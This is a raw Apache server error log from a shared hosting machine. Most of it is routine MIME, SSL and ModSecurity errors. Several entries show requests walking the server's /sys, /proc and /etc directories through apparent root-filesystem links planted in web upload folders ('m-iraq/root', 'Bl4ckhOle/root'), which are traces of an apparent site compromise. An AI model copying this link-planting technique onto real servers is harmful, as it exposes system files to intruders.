[Fri Jul 17 08:20:58.022060 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:58.111488 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty54/subsystem/ttyS3/line
[Fri Jul 17 08:20:58.304934 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:58.609444 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:58.705415 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:58.894338 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:58.986440 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:59.067911 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:56206] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:20:59.398445 2026] [autoindex:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH01275: Can't open directory for index: /home/anandaob/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/thread-self/cwd/etc/proftpd/
[Fri Jul 17 08:20:59.484374 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYkzRCJXF37-WnVv0hfQAAABI"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:20:59.484403 2026] [security2:error] [pid 1994976:tid 1994976] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYkzRCJXF37-WnVv0hfQAAABI"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:20:59.549307 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:59.651361 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:20:59.742171 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.140722 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.231758 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.423738 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.549875 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.620302 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.716247 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.907264 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:00.998275 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:01.106999 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:01.216460 2026] [core:error] [pid 1994976:tid 1994976] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:1d/subsystem/uevent
[Fri Jul 17 08:21:01.385174 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:01.478347 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:01.574862 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:01.619184 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:38108] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:01.764630 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:01/subsystem/drivers/battery/bind
[Fri Jul 17 08:21:01.965370 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.256399 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.356491 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.575383 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.697360 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.717403 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:38192] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:02.786467 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.884416 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:02.987559 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:03.081393 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:03.186298 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:03.374455 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:38212] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:03.456625 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:03.514202 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:03.833671 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.109333 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.406125 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.475382 2026] [ssl:error] [pid 2005917:tid 2005917] (70014)End of file found: [client 66.85.158.91:38304] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:04.506620 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.603092 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.796577 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:04.895700 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/251:0/wakeup16/subsystem/wakeup3/device/sun"] [unique_id "almYmA5GPQ6hs4VrfMo88wAAAAY"]
[Fri Jul 17 08:21:04.895782 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/251:0/wakeup16/subsystem/wakeup3/device/sun"] [unique_id "almYmA5GPQ6hs4VrfMo88wAAAAY"]
[Fri Jul 17 08:21:05.093094 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.188051 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.285143 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.558359 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.655601 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.746391 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.837622 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:05.938568 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.030416 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.125556 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/acpi/devices/device:19/subsystem/drivers/button/uevent
[Fri Jul 17 08:21:06.220142 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.424256 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.535596 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.822877 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:06.935347 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:07.060863 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:07.209207 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:07.485692 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/ttyS0/uartclk
[Fri Jul 17 08:21:07.825201 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:08.157733 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:08.351604 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:08.442998 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:08.542853 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:01/subsystem/drivers/thermal/bind
[Fri Jul 17 08:21:08.829912 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:09.238667 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:09.339431 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:09.533910 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:09.680730 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYnQG5-NXx3Mem1QgNKQAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:21:09.680763 2026] [security2:error] [pid 1994956:tid 1994956] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYnQG5-NXx3Mem1QgNKQAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:21:09.743286 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:09.918879 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:38558] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:10.139713 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:38570] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:10.276105 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.361734 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.461471 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.553558 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.657998 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.745959 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:10.939748 2026] [mime:warn] [pid 2008451:tid 2008451] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:11.142362 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:11.234716 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:11.428694 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:11.631268 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:11.733804 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.132370 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.411998 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.502941 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.601929 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.701399 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.881944 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:12.975833 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:13.075317 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:13.472296 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:13.575340 2026] [core:error] [pid 1993572:tid 1993572] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty2/subsystem/ttyS3/irq
[Fri Jul 17 08:21:13.770213 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:13.845671 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 57.141.18.26:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory3/node0/memory110/node0/memory114/node0/compact
[Fri Jul 17 08:21:13.867111 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:13.961532 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.064822 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34160] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:14.113943 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.139684 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.281224 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.417502 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.557664 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.560237 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:34202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:14.635701 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.748161 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:14.919174 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:15.038033 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:15.038567 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/sg3_utils-libs/"] [unique_id "almYo3RlmrtCoY_COpchkAAAAAg"]
[Fri Jul 17 08:21:15.038593 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/sg3_utils-libs/"] [unique_id "almYo3RlmrtCoY_COpchkAAAAAg"]
[Fri Jul 17 08:21:15.449002 2026] [core:error] [pid 2008451:tid 2008451] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/virtio/drivers/virtio_balloon/virtio3/driver/bind
[Fri Jul 17 08:21:15.552138 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:15.859332 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.054725 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.240056 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.335883 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.431312 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.538664 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.839299 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:16.948311 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.031645 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.141769 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.340476 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.453874 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.571692 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.671159 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.763113 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:17.877925 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:18.083896 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:18.173354 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:18.274289 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/wakeup/wakeup15/subsystem/wakeup11/device/device:15/eject
[Fri Jul 17 08:21:18.385016 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:18.567051 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:18.761538 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:19.172324 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYp5OFLENLI63GGOEJMwAAAAQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:21:19.172358 2026] [security2:error] [pid 1993659:tid 1993659] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almYp5OFLENLI63GGOEJMwAAAAQ"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:21:19.655036 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/researchUnit/galleries"] [unique_id "almYp0hq6UAnqYko0LpWLgAAABE"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/researchUnit/galleries
[Fri Jul 17 08:21:19.655222 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.46:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php/ta/public/index.php/sn/researchUnit/galleries"] [unique_id "almYp0hq6UAnqYko0LpWLgAAABE"], referer: https://www.nccp.health.gov.lk/nccp/public/index.php/sn/researchUnit/galleries
[Fri Jul 17 08:21:20.385048 2026] [ssl:error] [pid 2008451:tid 2008451] (70014)End of file found: [client 66.85.158.91:34518] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:21.534653 2026] [ssl:error] [pid 1993998:tid 1993998] (70014)End of file found: [client 66.85.158.91:37238] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:22.274852 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:37276] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:21:24.746378 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:25.914553 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.103232 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.221635 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.316462 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.427305 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.757558 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.847479 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:26.942136 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:27.036956 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:27.234896 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:21:27.415981 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
